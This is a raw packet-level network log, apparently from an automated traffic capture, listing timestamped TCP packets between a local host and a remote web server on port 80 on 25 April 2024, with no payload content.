Apr 25, 2024 16:29:12.664537907 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.664557934 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.664582968 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.664608002 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.664621115 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.664632082 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.664639950 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.664644957 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.664657116 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.664673090 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.664691925 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.664792061 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.664805889 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.664818048 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.664829969 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.664830923 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.664844036 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.664865971 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.665050983 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.665064096 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.665076971 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.665088892 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.665096045 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.665102959 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.665117025 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.665118933 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.665139914 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.665162086 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.665208101 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.665221930 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.665234089 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.665245056 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.665261030 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.665411949 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.665425062 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.665436983 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.665450096 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.665452003 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.665481091 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.665502071 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.665585041 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.665599108 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.665611029 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.665618896 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.665637970 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.665656090 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.665842056 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.665855885 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.665868044 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.665877104 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.665884972 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.665898085 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.665899038 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.665914059 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.665915012 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.665936947 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.665965080 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.665997982 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.666011095 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.666027069 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.666037083 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.666039944 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.666047096 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.666060925 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.666083097 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.666194916 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.666210890 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.666223049 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.666234970 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.666239977 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.666258097 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.666285038 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.666380882 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.666394949 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.666416883 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.666435003 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.666444063 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.666479111 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.666640997 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.666654110 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.666666985 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.666688919 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.666701078 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.666816950 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.666831017 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.666842937 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.666856050 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.666884899 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.667012930 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.667026043 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.667037964 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.667049885 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.667073011 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.667200089 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.667212009 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.667223930 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.667248011 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.667260885 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.667371035 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.667383909 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.667402029 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.667427063 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.667555094 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.667570114 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.667582035 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.667596102 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.667608976 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.667704105 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.667717934 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.667730093 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.667752028 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.667762995 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.667778015 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.667792082 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.667805910 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.667818069 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.667819023 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.667840958 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.667866945 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.667911053 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.667948961 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.668123007 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.668137074 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.668148994 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.668160915 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.668164968 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.668175936 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.668181896 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.668215036 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.668283939 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.668333054 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.668344021 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.668354034 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.668382883 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.668385029 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.668421030 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.668576002 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.668589115 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.668603897 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.668610096 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.668620110 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.668625116 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.668641090 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.668662071 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.668751001 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.668766022 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.668777943 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.668787956 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.668791056 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.668802023 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.668811083 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.668823004 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.668834925 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.668848991 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.668909073 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.668926954 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.668945074 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.668958902 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.669045925 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.669059992 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.669074059 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.669079065 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.669087887 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.669091940 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.669111013 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.669122934 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.669239044 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.669251919 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.669264078 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.669275999 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.669275999 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.669291019 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.669312954 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.669413090 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.669426918 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.669440031 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.669450998 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.669455051 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.669472933 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.669478893 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.669487953 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.669501066 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.669504881 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.669539928 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.669683933 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.669698954 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.669715881 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.669742107 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.669825077 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.669840097 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.669852972 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.669859886 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.669878006 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.669900894 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.670079947 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.670093060 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.670104980 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.670109987 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.670120001 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.670128107 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.670135021 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.670145035 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.670147896 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.670160055 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.670176029 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.670193911 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.670219898 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.670233965 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.670252085 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.670275927 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.670418024 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.670430899 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.670445919 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.670461893 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.670603037 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.670615911 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.670629978 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.670639038 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.670643091 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.670649052 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.670665979 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.670681953 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.670775890 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.670792103 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.670820951 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.670834064 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.670968056 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.670981884 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.670993090 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.671004057 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.671010971 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.671016932 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.671025038 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.671041012 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.671062946 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.671144962 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.671180010 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.671334982 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.671350002 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.671363115 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.671365976 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.671381950 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.671401978 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.671515942 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.671529055 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.671541929 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.671557903 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.671569109 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.671586990 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.671694994 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.671710014 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.671722889 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.671735048 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.671746016 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.671761990 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.671767950 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.671777010 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.671791077 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.671796083 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.671804905 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.671807051 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.671824932 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.671843052 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.671890020 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.671924114 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.672079086 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.672091961 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.672111988 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.672113895 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.672126055 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.672139883 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.672259092 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.672274113 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.672295094 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.672312021 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.672389030 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.672401905 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.672415972 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.672425032 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.672441959 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.672461987 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.672538996 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.672554016 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.672564030 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.672573090 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.672576904 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.672590017 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.672596931 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.672610998 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.672636986 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.672674894 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.672687054 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.672708988 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.672722101 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.672878027 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.672890902 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.672903061 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.672914982 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.672926903 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.672949076 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.673059940 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.673090935 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.673242092 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.673254013 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.673266888 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.673279047 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.673279047 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.673294067 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.673321009 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.673372030 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.673404932 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.673552036 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.673566103 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.673578024 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.673585892 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.673592091 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.673608065 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.673619986 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.673639059 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.673739910 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.673753977 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.673765898 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.673779011 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.673779964 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.673791885 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.673854113 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.673855066 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.673855066 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.673872948 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.673888922 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.673913956 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.673923016 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.674046040 CEST	80	49709	193.233.132.175	192.168.2.5
